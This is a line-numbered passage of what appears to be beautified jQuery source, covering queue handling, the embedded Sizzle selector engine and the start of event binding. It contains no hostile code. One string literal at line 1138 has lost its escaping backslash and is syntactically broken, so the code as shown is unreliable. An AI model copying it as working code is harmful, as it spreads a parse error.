  995.             if (typeof E !== "string") {
  996.                 F = E;
  997.                 E = "fx"
  998.             }
  999.             if (F === g) {
  1000.                 return o.queue(this[0], E)
  1001.             }
  1002.             return this.each(function() {
  1003.                 var G = o.queue(this, E, F);
  1004.                 if (E == "fx" && G.length == 1) {
  1005.                     G[0].call(this)
  1006.                 }
  1007.             })
  1008.         },
  1009.         dequeue: function(E) {
  1010.             return this.each(function() {
  1011.                 o.dequeue(this, E)
  1012.             })
  1013.         }
  1014.     });
  1015.     /*
  1016.      * Sizzle CSS Selector Engine - v0.9.3
  1017.      *  Copyright 2009, The Dojo Foundation
  1018.      *  Released under the MIT, BSD, and GPL Licenses.
  1019.      *  More information: http://sizzlejs.com/
  1020.      */
  1021.     (function() {
  1022.         var R = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,
  1023.             L = 0,
  1024.             H = Object.prototype.toString;
  1025.         var F = function(Y, U, ab, ac) {
  1026.                 ab = ab || [];
  1027.                 U = U || document;
  1028.                 if (U.nodeType !== 1 && U.nodeType !== 9) {
  1029.                     return []
  1030.                 }
  1031.                 if (!Y || typeof Y !== "string") {
  1032.                     return ab
  1033.                 }
  1034.                 var Z = [],
  1035.                     W, af, ai, T, ad, V, X = true;
  1036.                 R.lastIndex = 0;
  1037.                 while ((W = R.exec(Y)) !== null) {
  1038.                     Z.push(W[1]);
  1039.                     if (W[2]) {
  1040.                         V = RegExp.rightContext;
  1041.                         break
  1042.                     }
  1043.                 }
  1044.                 if (Z.length > 1 && M.exec(Y)) {
  1045.                     if (Z.length === 2 && I.relative[Z[0]]) {
  1046.                         af = J(Z[0] + Z[1], U)
  1047.                     } else {
  1048.                         af = I.relative[Z[0]] ? [U] : F(Z.shift(), U);
  1049.                         while (Z.length) {
  1050.                             Y = Z.shift();
  1051.                             if (I.relative[Y]) {
  1052.                                 Y += Z.shift()
  1053.                             }
  1054.                             af = J(Y, af)
  1055.                         }
  1056.                     }
  1057.                 } else {
  1058.                     var ae = ac ? {
  1059.                         expr: Z.pop(),
  1060.                         set: E(ac)
  1061.                     } : F.find(Z.pop(), Z.length === 1 && U.parentNode ? U.parentNode : U, Q(U));
  1062.                     af = F.filter(ae.expr, ae.set);
  1063.                     if (Z.length > 0) {
  1064.                         ai = E(af)
  1065.                     } else {
  1066.                         X = false
  1067.                     }
  1068.                     while (Z.length) {
  1069.                         var ah = Z.pop(),
  1070.                             ag = ah;
  1071.                         if (!I.relative[ah]) {
  1072.                             ah = ""
  1073.                         } else {
  1074.                             ag = Z.pop()
  1075.                         }
  1076.                         if (ag == null) {
  1077.                             ag = U
  1078.                         }
  1079.                         I.relative[ah](ai, ag, Q(U))
  1080.                     }
  1081.                 }
  1082.                 if (!ai) {
  1083.                     ai = af
  1084.                 }
  1085.                 if (!ai) {
  1086.                     throw "Syntax error, unrecognized expression: " + (ah || Y)
  1087.                 }
  1088.                 if (H.call(ai) === "[object Array]") {
  1089.                     if (!X) {
  1090.                         ab.push.apply(ab, ai)
  1091.                     } else {
  1092.                         if (U.nodeType === 1) {
  1093.                             for (var aa = 0; ai[aa] != null; aa++) {
  1094.                                 if (ai[aa] && (ai[aa] === true || ai[aa].nodeType === 1 && K(U, ai[aa]))) {
  1095.                                     ab.push(af[aa])
  1096.                                 }
  1097.                             }
  1098.                         } else {
  1099.                             for (var aa = 0; ai[aa] != null; aa++) {
  1100.                                 if (ai[aa] && ai[aa].nodeType === 1) {
  1101.                                     ab.push(af[aa])
  1102.                                 }
  1103.                             }
  1104.                         }
  1105.                     }
  1106.                 } else {
  1107.                     E(ai, ab)
  1108.                 }
  1109.                 if (V) {
  1110.                     F(V, U, ab, ac);
  1111.                     if (G) {
  1112.                         hasDuplicate = false;
  1113.                         ab.sort(G);
  1114.                         if (hasDuplicate) {
  1115.                             for (var aa = 1; aa < ab.length; aa++) {
  1116.                                 if (ab[aa] === ab[aa - 1]) {
  1117.                                     ab.splice(aa--, 1)
  1118.                                 }
  1119.                             }
  1120.                         }
  1121.                     }
  1122.                 }
  1123.                 return ab
  1124.             };
  1125.         F.matches = function(T, U) {
  1126.             return F(T, null, null, U)
  1127.         };
  1128.         F.find = function(aa, T, ab) {
  1129.             var Z, X;
  1130.             if (!aa) {
  1131.                 return []
  1132.             }
  1133.             for (var W = 0, V = I.order.length; W < V; W++) {
  1134.                 var Y = I.order[W],
  1135.                     X;
  1136.                 if ((X = I.match[Y].exec(aa))) {
  1137.                     var U = RegExp.leftContext;
  1138.                     if (U.substr(U.length - 1) !== "\") {
  1139.                         X[1] = (X[1] || "").replace(/\\/g, "");
  1140.                         Z = I.find[Y](X, T, ab);
  1141.                         if (Z != null) {
  1142.                             aa = aa.replace(I.match[Y], "");
  1143.                             break
  1144.                         }
  1145.                     }
  1146.                 }
  1147.             }
  1148.             if (!Z) {
  1149.                 Z = T.getElementsByTagName("*")
  1150.             }
  1151.             return {
  1152.                 set: Z,
  1153.                 expr: aa
  1154.             }
  1155.         };
  1156.         F.filter = function(ad, ac, ag, W) {
  1157.             var V = ad,
  1158.                 ai = [],
  1159.                 aa = ac,
  1160.                 Y, T, Z = ac && ac[0] && Q(ac[0]);
  1161.             while (ad && ac.length) {
  1162.                 for (var ab in I.filter) {
  1163.                     if ((Y = I.match[ab].exec(ad)) != null) {
  1164.                         var U = I.filter[ab],
  1165.                             ah, af;
  1166.                         T = false;
  1167.                         if (aa == ai) {
  1168.                             ai = []
  1169.                         }
  1170.                         if (I.preFilter[ab]) {
  1171.                             Y = I.preFilter[ab](Y, aa, ag, ai, W, Z);
  1172.                             if (!Y) {
  1173.                                 T = ah = true
  1174.                             } else {
  1175.                                 if (Y === true) {
  1176.                                     continue
  1177.                                 }
  1178.                             }
  1179.                         }
  1180.                         if (Y) {
  1181.                             for (var X = 0;
  1182.                             (af = aa[X]) != null; X++) {
  1183.                                 if (af) {
  1184.                                     ah = U(af, Y, X, aa);
  1185.                                     var ae = W ^ !! ah;
  1186.                                     if (ag && ah != null) {
  1187.                                         if (ae) {
  1188.                                             T = true
  1189.                                         } else {
  1190.                                             aa[X] = false
  1191.                                         }
  1192.                                     } else {
  1193.                                         if (ae) {
  1194.                                             ai.push(af);
  1195.                                             T = true
  1196.                                         }
  1197.                                     }
  1198.                                 }
  1199.                             }
  1200.                         }
  1201.                         if (ah !== g) {
  1202.                             if (!ag) {
  1203.                                 aa = ai
  1204.                             }
  1205.                             ad = ad.replace(I.match[ab], "");
  1206.                             if (!T) {
  1207.                                 return []
  1208.                             }
  1209.                             break
  1210.                         }
  1211.                     }
  1212.                 }
  1213.                 if (ad == V) {
  1214.                     if (T == null) {
  1215.                         throw "Syntax error, unrecognized expression: " + ad
  1216.                     } else {
  1217.                         break
  1218.                     }
  1219.                 }
  1220.                 V = ad
  1221.             }
  1222.             return aa
  1223.         };
  1224.         var I = F.selectors = {
  1225.             order: ["ID", "NAME", "TAG"],
  1226.             match: {
  1227.                 ID: /#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
  1228.                 CLASS: /\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
  1229.                 NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,
  1230.                 ATTR: /\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
  1231.                 TAG: /^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,
  1232.                 CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
  1233.                 POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
  1234.                 PSEUDO: /:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
  1235.             },
  1236.             attrMap: {
  1237.                 "class": "className",
  1238.                 "for": "htmlFor"
  1239.             },
  1240.             attrHandle: {
  1241.                 href: function(T) {
  1242.                     return T.getAttribute("href")
  1243.                 }
  1244.             },
  1245.             relative: {
  1246.                 "+": function(aa, T, Z) {
  1247.                     var X = typeof T === "string",
  1248.                         ab = X && !/\W/.test(T),
  1249.                         Y = X && !ab;
  1250.                     if (ab && !Z) {
  1251.                         T = T.toUpperCase()
  1252.                     }
  1253.                     for (var W = 0, V = aa.length, U; W < V; W++) {
  1254.                         if ((U = aa[W])) {
  1255.                             while ((U = U.previousSibling) && U.nodeType !== 1) {}
  1256.                             aa[W] = Y || U && U.nodeName === T ? U || false : U === T
  1257.                         }
  1258.                     }
  1259.                     if (Y) {
  1260.                         F.filter(T, aa, true)
  1261.                     }
  1262.                 },
  1263.                 ">": function(Z, U, aa) {
  1264.                     var X = typeof U === "string";
  1265.                     if (X && !/\W/.test(U)) {
  1266.                         U = aa ? U : U.toUpperCase();
  1267.                         for (var V = 0, T = Z.length; V < T; V++) {
  1268.                             var Y = Z[V];
  1269.                             if (Y) {
  1270.                                 var W = Y.parentNode;
  1271.                                 Z[V] = W.nodeName === U ? W : false
  1272.                             }
  1273.                         }
  1274.                     } else {
  1275.                         for (var V = 0, T = Z.length; V < T; V++) {
  1276.                             var Y = Z[V];
  1277.                             if (Y) {
  1278.                                 Z[V] = X ? Y.parentNode : Y.parentNode === U
  1279.                             }
  1280.                         }
  1281.                         if (X) {
  1282.                             F.filter(U, Z, true)
  1283.                         }
  1284.                     }
  1285.                 },
  1286.                 "": function(W, U, Y) {
  1287.                     var V = L++,
  1288.                         T = S;
  1289.                     if (!U.match(/\W/)) {
  1290.                         var X = U = Y ? U : U.toUpperCase();
  1291.                         T = P
  1292.                     }
  1293.                     T("parentNode", U, V, W, X, Y)
  1294.                 },
  1295.                 "~": function(W, U, Y) {
  1296.                     var V = L++,
  1297.                         T = S;
  1298.                     if (typeof U === "string" && !U.match(/\W/)) {
  1299.                         var X = U = Y ? U : U.toUpperCase();
  1300.                         T = P
  1301.                     }
  1302.                     T("previousSibling", U, V, W, X, Y)
  1303.                 }
  1304.             },
  1305.             find: {
  1306.                 ID: function(U, V, W) {
  1307.                     if (typeof V.getElementById !== "undefined" && !W) {
  1308.                         var T = V.getElementById(U[1]);
  1309.                         return T ? [T] : []
  1310.                     }
  1311.                 },
  1312.                 NAME: function(V, Y, Z) {
  1313.                     if (typeof Y.getElementsByName !== "undefined") {
  1314.                         var U = [],
  1315.                             X = Y.getElementsByName(V[1]);
  1316.                         for (var W = 0, T = X.length; W < T; W++) {
  1317.                             if (X[W].getAttribute("name") === V[1]) {
  1318.                                 U.push(X[W])
  1319.                             }
  1320.                         }
  1321.                         return U.length === 0 ? null : U
  1322.                     }
  1323.                 },
  1324.                 TAG: function(T, U) {
  1325.                     return U.getElementsByTagName(T[1])
  1326.                 }
  1327.             },
  1328.             preFilter: {
  1329.                 CLASS: function(W, U, V, T, Z, aa) {
  1330.                     W = " " + W[1].replace(/\\/g, "") + " ";
  1331.                     if (aa) {
  1332.                         return W
  1333.                     }
  1334.                     for (var X = 0, Y;
  1335.                     (Y = U[X]) != null; X++) {
  1336.                         if (Y) {
  1337.                             if (Z ^ (Y.className && (" " + Y.className + " ").indexOf(W) >= 0)) {
  1338.                                 if (!V) {
  1339.                                     T.push(Y)
  1340.                                 }
  1341.                             } else {
  1342.                                 if (V) {
  1343.                                     U[X] = false
  1344.                                 }
  1345.                             }
  1346.                         }
  1347.                     }
  1348.                     return false
  1349.                 },
  1350.                 ID: function(T) {
  1351.                     return T[1].replace(/\\/g, "")
  1352.                 },
  1353.                 TAG: function(U, T) {
  1354.                     for (var V = 0; T[V] === false; V++) {}
  1355.                     return T[V] && Q(T[V]) ? U[1] : U[1].toUpperCase()
  1356.                 },
  1357.                 CHILD: function(T) {
  1358.                     if (T[1] == "nth") {
  1359.                         var U = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2] == "even" && "2n" || T[2] == "odd" && "2n+1" || !/\D/.test(T[2]) && "0n+" + T[2] || T[2]);
  1360.                         T[2] = (U[1] + (U[2] || 1)) - 0;
  1361.                         T[3] = U[3] - 0
  1362.                     }
  1363.                     T[0] = L++;
  1364.                     return T
  1365.                 },
  1366.                 ATTR: function(X, U, V, T, Y, Z) {
  1367.                     var W = X[1].replace(/\\/g, "");
  1368.                     if (!Z && I.attrMap[W]) {
  1369.                         X[1] = I.attrMap[W]
  1370.                     }
  1371.                     if (X[2] === "~=") {
  1372.                         X[4] = " " + X[4] + " "
  1373.                     }
  1374.                     return X
  1375.                 },
  1376.                 PSEUDO: function(X, U, V, T, Y) {
  1377.                     if (X[1] === "not") {
  1378.                         if (X[3].match(R).length > 1 || /^\w/.test(X[3])) {
  1379.                             X[3] = F(X[3], null, null, U)
  1380.                         } else {
  1381.                             var W = F.filter(X[3], U, V, true ^ Y);
  1382.                             if (!V) {
  1383.                                 T.push.apply(T, W)
  1384.                             }
  1385.                             return false
  1386.                         }
  1387.                     } else {
  1388.                         if (I.match.POS.test(X[0]) || I.match.CHILD.test(X[0])) {
  1389.                             return true
  1390.                         }
  1391.                     }
  1392.                     return X
  1393.                 },
  1394.                 POS: function(T) {
  1395.                     T.unshift(true);
  1396.                     return T
  1397.                 }
  1398.             },
  1399.             filters: {
  1400.                 enabled: function(T) {
  1401.                     return T.disabled === false && T.type !== "hidden"
  1402.                 },
  1403.                 disabled: function(T) {
  1404.                     return T.disabled === true
  1405.                 },
  1406.                 checked: function(T) {
  1407.                     return T.checked === true
  1408.                 },
  1409.                 selected: function(T) {
  1410.                     T.parentNode.selectedIndex;
  1411.                     return T.selected === true
  1412.                 },
  1413.                 parent: function(T) {
  1414.                     return !!T.firstChild
  1415.                 },
  1416.                 empty: function(T) {
  1417.                     return !T.firstChild
  1418.                 },
  1419.                 has: function(V, U, T) {
  1420.                     return !!F(T[3], V).length
  1421.                 },
  1422.                 header: function(T) {
  1423.                     return /h\d/i.test(T.nodeName)
  1424.                 },
  1425.                 text: function(T) {
  1426.                     return "text" === T.type
  1427.                 },
  1428.                 radio: function(T) {
  1429.                     return "radio" === T.type
  1430.                 },
  1431.                 checkbox: function(T) {
  1432.                     return "checkbox" === T.type
  1433.                 },
  1434.                 file: function(T) {
  1435.                     return "file" === T.type
  1436.                 },
  1437.                 password: function(T) {
  1438.                     return "password" === T.type
  1439.                 },
  1440.                 submit: function(T) {
  1441.                     return "submit" === T.type
  1442.                 },
  1443.                 image: function(T) {
  1444.                     return "image" === T.type
  1445.                 },
  1446.                 reset: function(T) {
  1447.                     return "reset" === T.type
  1448.                 },
  1449.                 button: function(T) {
  1450.                     return "button" === T.type || T.nodeName.toUpperCase() === "BUTTON"
  1451.                 },
  1452.                 input: function(T) {
  1453.                     return /input|select|textarea|button/i.test(T.nodeName)
  1454.                 }
  1455.             },
  1456.             setFilters: {
  1457.                 first: function(U, T) {
  1458.                     return T === 0
  1459.                 },
  1460.                 last: function(V, U, T, W) {
  1461.                     return U === W.length - 1
  1462.                 },
  1463.                 even: function(U, T) {
  1464.                     return T % 2 === 0
  1465.                 },
  1466.                 odd: function(U, T) {
  1467.                     return T % 2 === 1
  1468.                 },
  1469.                 lt: function(V, U, T) {
  1470.                     return U < T[3] - 0
  1471.                 },
  1472.                 gt: function(V, U, T) {
  1473.                     return U > T[3] - 0
  1474.                 },
  1475.                 nth: function(V, U, T) {
  1476.                     return T[3] - 0 == U
  1477.                 },
  1478.                 eq: function(V, U, T) {
  1479.                     return T[3] - 0 == U
  1480.                 }
  1481.             },
  1482.             filter: {
  1483.                 PSEUDO: function(Z, V, W, aa) {
  1484.                     var U = V[1],
  1485.                         X = I.filters[U];
  1486.                     if (X) {
  1487.                         return X(Z, W, V, aa)
  1488.                     } else {
  1489.                         if (U === "contains") {
  1490.                             return (Z.textContent || Z.innerText || "").indexOf(V[3]) >= 0
  1491.                         } else {
  1492.                             if (U === "not") {
  1493.                                 var Y = V[3];
  1494.                                 for (var W = 0, T = Y.length; W < T; W++) {
  1495.                                     if (Y[W] === Z) {
  1496.                                         return false
  1497.                                     }
  1498.                                 }
  1499.                                 return true
  1500.                             }
  1501.                         }
  1502.                     }
  1503.                 },
  1504.                 CHILD: function(T, W) {
  1505.                     var Z = W[1],
  1506.                         U = T;
  1507.                     switch (Z) {
  1508.                     case "only":
  1509.                     case "first":
  1510.                         while (U = U.previousSibling) {
  1511.                             if (U.nodeType === 1) {
  1512.                                 return false
  1513.                             }
  1514.                         }
  1515.                         if (Z == "first") {
  1516.                             return true
  1517.                         }
  1518.                         U = T;
  1519.                     case "last":
  1520.                         while (U = U.nextSibling) {
  1521.                             if (U.nodeType === 1) {
  1522.                                 return false
  1523.                             }
  1524.                         }
  1525.                         return true;
  1526.                     case "nth":
  1527.                         var V = W[2],
  1528.                             ac = W[3];
  1529.                         if (V == 1 && ac == 0) {
  1530.                             return true
  1531.                         }
  1532.                         var Y = W[0],
  1533.                             ab = T.parentNode;
  1534.                         if (ab && (ab.sizcache !== Y || !T.nodeIndex)) {
  1535.                             var X = 0;
  1536.                             for (U = ab.firstChild; U; U = U.nextSibling) {
  1537.                                 if (U.nodeType === 1) {
  1538.                                     U.nodeIndex = ++X
  1539.                                 }
  1540.                             }
  1541.                             ab.sizcache = Y
  1542.                         }
  1543.                         var aa = T.nodeIndex - ac;
  1544.                         if (V == 0) {
  1545.                             return aa == 0
  1546.                         } else {
  1547.                             return (aa % V == 0 && aa / V >= 0)
  1548.                         }
  1549.                     }
  1550.                 },
  1551.                 ID: function(U, T) {
  1552.                     return U.nodeType === 1 && U.getAttribute("id") === T
  1553.                 },
  1554.                 TAG: function(U, T) {
  1555.                     return (T === "*" && U.nodeType === 1) || U.nodeName === T
  1556.                 },
  1557.                 CLASS: function(U, T) {
  1558.                     return (" " + (U.className || U.getAttribute("class")) + " ").indexOf(T) > -1
  1559.                 },
  1560.                 ATTR: function(Y, W) {
  1561.                     var V = W[1],
  1562.                         T = I.attrHandle[V] ? I.attrHandle[V](Y) : Y[V] != null ? Y[V] : Y.getAttribute(V),
  1563.                         Z = T + "",
  1564.                         X = W[2],
  1565.                         U = W[4];
  1566.                     return T == null ? X === "!=" : X === "=" ? Z === U : X === "*=" ? Z.indexOf(U) >= 0 : X === "~=" ? (" " + Z + " ").indexOf(U) >= 0 : !U ? Z && T !== false : X === "!=" ? Z != U : X === "^=" ? Z.indexOf(U) === 0 : X === "$=" ? Z.substr(Z.length - U.length) === U : X === "|=" ? Z === U || Z.substr(0, U.length + 1) === U + "-" : false
  1567.                 },
  1568.                 POS: function(X, U, V, Y) {
  1569.                     var T = U[2],
  1570.                         W = I.setFilters[T];
  1571.                     if (W) {
  1572.                         return W(X, V, U, Y)
  1573.                     }
  1574.                 }
  1575.             }
  1576.         };
  1577.         var M = I.match.POS;
  1578.         for (var O in I.match) {
  1579.             I.match[O] = RegExp(I.match[O].source + /(?![^\[]*\])(?![^\(]*\))/.source)
  1580.         }
  1581.         var E = function(U, T) {
  1582.                 U = Array.prototype.slice.call(U);
  1583.                 if (T) {
  1584.                     T.push.apply(T, U);
  1585.                     return T
  1586.                 }
  1587.                 return U
  1588.             };
  1589.         try {
  1590.             Array.prototype.slice.call(document.documentElement.childNodes)
  1591.         } catch (N) {
  1592.             E = function(X, W) {
  1593.                 var U = W || [];
  1594.                 if (H.call(X) === "[object Array]") {
  1595.                     Array.prototype.push.apply(U, X)
  1596.                 } else {
  1597.                     if (typeof X.length === "number") {
  1598.                         for (var V = 0, T = X.length; V < T; V++) {
  1599.                             U.push(X[V])
  1600.                         }
  1601.                     } else {
  1602.                         for (var V = 0; X[V]; V++) {
  1603.                             U.push(X[V])
  1604.                         }
  1605.                     }
  1606.                 }
  1607.                 return U
  1608.             }
  1609.         }
  1610.         var G;
  1611.         if (document.documentElement.compareDocumentPosition) {
  1612.             G = function(U, T) {
  1613.                 var V = U.compareDocumentPosition(T) & 4 ? -1 : U === T ? 0 : 1;
  1614.                 if (V === 0) {
  1615.                     hasDuplicate = true
  1616.                 }
  1617.                 return V
  1618.             }
  1619.         } else {
  1620.             if ("sourceIndex" in document.documentElement) {
  1621.                 G = function(U, T) {
  1622.                     var V = U.sourceIndex - T.sourceIndex;
  1623.                     if (V === 0) {
  1624.                         hasDuplicate = true
  1625.                     }
  1626.                     return V
  1627.                 }
  1628.             } else {
  1629.                 if (document.createRange) {
  1630.                     G = function(W, U) {
  1631.                         var V = W.ownerDocument.createRange(),
  1632.                             T = U.ownerDocument.createRange();
  1633.                         V.selectNode(W);
  1634.                         V.collapse(true);
  1635.                         T.selectNode(U);
  1636.                         T.collapse(true);
  1637.                         var X = V.compareBoundaryPoints(Range.START_TO_END, T);
  1638.                         if (X === 0) {
  1639.                             hasDuplicate = true
  1640.                         }
  1641.                         return X
  1642.                     }
  1643.                 }
  1644.             }
  1645.         }(function() {
  1646.             var U = document.createElement("form"),
  1647.                 V = "script" + (new Date).getTime();
  1648.             U.innerHTML = "<input name='" + V + "'/>";
  1649.             var T = document.documentElement;
  1650.             T.insertBefore(U, T.firstChild);
  1651.             if ( !! document.getElementById(V)) {
  1652.                 I.find.ID = function(X, Y, Z) {
  1653.                     if (typeof Y.getElementById !== "undefined" && !Z) {
  1654.                         var W = Y.getElementById(X[1]);
  1655.                         return W ? W.id === X[1] || typeof W.getAttributeNode !== "undefined" && W.getAttributeNode("id").nodeValue === X[1] ? [W] : g : []
  1656.                     }
  1657.                 };
  1658.                 I.filter.ID = function(Y, W) {
  1659.                     var X = typeof Y.getAttributeNode !== "undefined" && Y.getAttributeNode("id");
  1660.                     return Y.nodeType === 1 && X && X.nodeValue === W
  1661.                 }
  1662.             }
  1663.             T.removeChild(U)
  1664.         })();
  1665.         (function() {
  1666.             var T = document.createElement("div");
  1667.             T.appendChild(document.createComment(""));
  1668.             if (T.getElementsByTagName("*").length > 0) {
  1669.                 I.find.TAG = function(U, Y) {
  1670.                     var X = Y.getElementsByTagName(U[1]);
  1671.                     if (U[1] === "*") {
  1672.                         var W = [];
  1673.                         for (var V = 0; X[V]; V++) {
  1674.                             if (X[V].nodeType === 1) {
  1675.                                 W.push(X[V])
  1676.                             }
  1677.                         }
  1678.                         X = W
  1679.                     }
  1680.                     return X
  1681.                 }
  1682.             }
  1683.             T.innerHTML = "<a href='#'></a>";
  1684.             if (T.firstChild && typeof T.firstChild.getAttribute !== "undefined" && T.firstChild.getAttribute("href") !== "#") {
  1685.                 I.attrHandle.href = function(U) {
  1686.                     return U.getAttribute("href", 2)
  1687.                 }
  1688.             }
  1689.         })();
  1690.         if (document.querySelectorAll) {
  1691.             (function() {
  1692.                 var T = F,
  1693.                     U = document.createElement("div");
  1694.                 U.innerHTML = "<p class='TEST'></p>";
  1695.                 if (U.querySelectorAll && U.querySelectorAll(".TEST").length === 0) {
  1696.                     return
  1697.                 }
  1698.                 F = function(Y, X, V, W) {
  1699.                     X = X || document;
  1700.                     if (!W && X.nodeType === 9 && !Q(X)) {
  1701.                         try {
  1702.                             return E(X.querySelectorAll(Y), V)
  1703.                         } catch (Z) {}
  1704.                     }
  1705.                     return T(Y, X, V, W)
  1706.                 };
  1707.                 F.find = T.find;
  1708.                 F.filter = T.filter;
  1709.                 F.selectors = T.selectors;
  1710.                 F.matches = T.matches
  1711.             })()
  1712.         }
  1713.         if (document.getElementsByClassName && document.documentElement.getElementsByClassName) {
  1714.             (function() {
  1715.                 var T = document.createElement("div");
  1716.                 T.innerHTML = "<div class='test e'></div><div class='test'></div>";
  1717.                 if (T.getElementsByClassName("e").length === 0) {
  1718.                     return
  1719.                 }
  1720.                 T.lastChild.className = "e";
  1721.                 if (T.getElementsByClassName("e").length === 1) {
  1722.                     return
  1723.                 }
  1724.                 I.order.splice(1, 0, "CLASS");
  1725.                 I.find.CLASS = function(U, V, W) {
  1726.                     if (typeof V.getElementsByClassName !== "undefined" && !W) {
  1727.                         return V.getElementsByClassName(U[1])
  1728.                     }
  1729.                 }
  1730.             })()
  1731.         }
  1732.         function P(U, Z, Y, ad, aa, ac) {
  1733.             var ab = U == "previousSibling" && !ac;
  1734.             for (var W = 0, V = ad.length; W < V; W++) {
  1735.                 var T = ad[W];
  1736.                 if (T) {
  1737.                     if (ab && T.nodeType === 1) {
  1738.                         T.sizcache = Y;
  1739.                         T.sizset = W
  1740.                     }
  1741.                     T = T[U];
  1742.                     var X = false;
  1743.                     while (T) {
  1744.                         if (T.sizcache === Y) {
  1745.                             X = ad[T.sizset];
  1746.                             break
  1747.                         }
  1748.                         if (T.nodeType === 1 && !ac) {
  1749.                             T.sizcache = Y;
  1750.                             T.sizset = W
  1751.                         }
  1752.                         if (T.nodeName === Z) {
  1753.                             X = T;
  1754.                             break
  1755.                         }
  1756.                         T = T[U]
  1757.                     }
  1758.                     ad[W] = X
  1759.                 }
  1760.             }
  1761.         }
  1762.         function S(U, Z, Y, ad, aa, ac) {
  1763.             var ab = U == "previousSibling" && !ac;
  1764.             for (var W = 0, V = ad.length; W < V; W++) {
  1765.                 var T = ad[W];
  1766.                 if (T) {
  1767.                     if (ab && T.nodeType === 1) {
  1768.                         T.sizcache = Y;
  1769.                         T.sizset = W
  1770.                     }
  1771.                     T = T[U];
  1772.                     var X = false;
  1773.                     while (T) {
  1774.                         if (T.sizcache === Y) {
  1775.                             X = ad[T.sizset];
  1776.                             break
  1777.                         }
  1778.                         if (T.nodeType === 1) {
  1779.                             if (!ac) {
  1780.                                 T.sizcache = Y;
  1781.                                 T.sizset = W
  1782.                             }
  1783.                             if (typeof Z !== "string") {
  1784.                                 if (T === Z) {
  1785.                                     X = true;
  1786.                                     break
  1787.                                 }
  1788.                             } else {
  1789.                                 if (F.filter(Z, [T]).length > 0) {
  1790.                                     X = T;
  1791.                                     break
  1792.                                 }
  1793.                             }
  1794.                         }
  1795.                         T = T[U]
  1796.                     }
  1797.                     ad[W] = X
  1798.                 }
  1799.             }
  1800.         }
  1801.         var K = document.compareDocumentPosition ?
  1802.         function(U, T) {
  1803.             return U.compareDocumentPosition(T) & 16
  1804.         } : function(U, T) {
  1805.             return U !== T && (U.contains ? U.contains(T) : true)
  1806.         };
  1807.         var Q = function(T) {
  1808.                 return T.nodeType === 9 && T.documentElement.nodeName !== "HTML" || !! T.ownerDocument && Q(T.ownerDocument)
  1809.             };
  1810.         var J = function(T, aa) {
  1811.                 var W = [],
  1812.                     X = "",
  1813.                     Y, V = aa.nodeType ? [aa] : aa;
  1814.                 while ((Y = I.match.PSEUDO.exec(T))) {
  1815.                     X += Y[0];
  1816.                     T = T.replace(I.match.PSEUDO, "")
  1817.                 }
  1818.                 T = I.relative[T] ? T + "*" : T;
  1819.                 for (var Z = 0, U = V.length; Z < U; Z++) {
  1820.                     F(T, V[Z], W)
  1821.                 }
  1822.                 return F.filter(X, W)
  1823.             };
  1824.         o.find = F;
  1825.         o.filter = F.filter;
  1826.         o.expr = F.selectors;
  1827.         o.expr[":"] = o.expr.filters;
  1828.         F.selectors.filters.hidden = function(T) {
  1829.             return T.offsetWidth === 0 || T.offsetHeight === 0
  1830.         };
  1831.         F.selectors.filters.visible = function(T) {
  1832.             return T.offsetWidth > 0 || T.offsetHeight > 0
  1833.         };
  1834.         F.selectors.filters.animated = function(T) {
  1835.             return o.grep(o.timers, function(U) {
  1836.                 return T === U.elem
  1837.             }).length
  1838.         };
  1839.         o.multiFilter = function(V, T, U) {
  1840.             if (U) {
  1841.                 V = ":not(" + V + ")"
  1842.             }
  1843.             return F.matches(V, T)
  1844.         };
  1845.         o.dir = function(V, U) {
  1846.             var T = [],
  1847.                 W = V[U];
  1848.             while (W && W != document) {
  1849.                 if (W.nodeType == 1) {
  1850.                     T.push(W)
  1851.                 }
  1852.                 W = W[U]
  1853.             }
  1854.             return T
  1855.         };
  1856.         o.nth = function(X, T, V, W) {
  1857.             T = T || 1;
  1858.             var U = 0;
  1859.             for (; X; X = X[V]) {
  1860.                 if (X.nodeType == 1 && ++U == T) {
  1861.                     break
  1862.                 }
  1863.             }
  1864.             return X
  1865.         };
  1866.         o.sibling = function(V, U) {
  1867.             var T = [];
  1868.             for (; V; V = V.nextSibling) {
  1869.                 if (V.nodeType == 1 && V != U) {
  1870.                     T.push(V)
  1871.                 }
  1872.             }
  1873.             return T
  1874.         };
  1875.         return;
  1876.         l.Sizzle = F
  1877.     })();
  1878.     o.event = {
  1879.         add: function(I, F, H, K) {
  1880.             if (I.nodeType == 3 || I.nodeType == 8) {
  1881.                 return
  1882.             }
  1883.             if (I.setInterval && I != l) {
  1884.                 I = l
  1885.             }
  1886.             if (!H.guid) {
  1887.                 H.guid = this.guid++
  1888.             }
  1889.             if (K !== g) {
  1890.                 var G = H;
  1891.                 H = this.proxy(G);
  1892.                 H.data = K
  1893.             }
  1894.             var E = o.data(I, "events") || o.data(I, "events", {}),
  1895.                 J = o.data(I, "handle") || o.data(I, "handle", function() {
  1896.                     return typeof o !== "undefined" && !o.event.triggered ? o.event.handle.apply(arguments.callee.elem, arguments) : g
  1897.                 });
  1898.             J.elem = I;
  1899.             o.each(F.split(/\s+/), function(M, N) {
  1900.                 var O = N.split(".");
  1901.                 N = O.shift();
  1902.                 H.type = O.slice().sort().join(".");
  1903.                 var L = E[N];
  1904.                 if (o.event.specialAll[N]) {
  1905.                     o.event.specialAll[N].setup.call(I, K, O)
  1906.                 }
  1907.                 if (!L) {
  1908.                     L = E[N] = {};
  1909.                     if (!o.event.special[N] || o.event.special[N].setup.call(I, K, O) === false) {
  1910.                         if (I.addEventListener) {
  1911.                             I.addEventListener(N, J, false)
  1912.                         } else {
  1913.                             if (I.attachEvent) {
  1914.                                 I.attachEvent("on" + N, J)
  1915.                             }
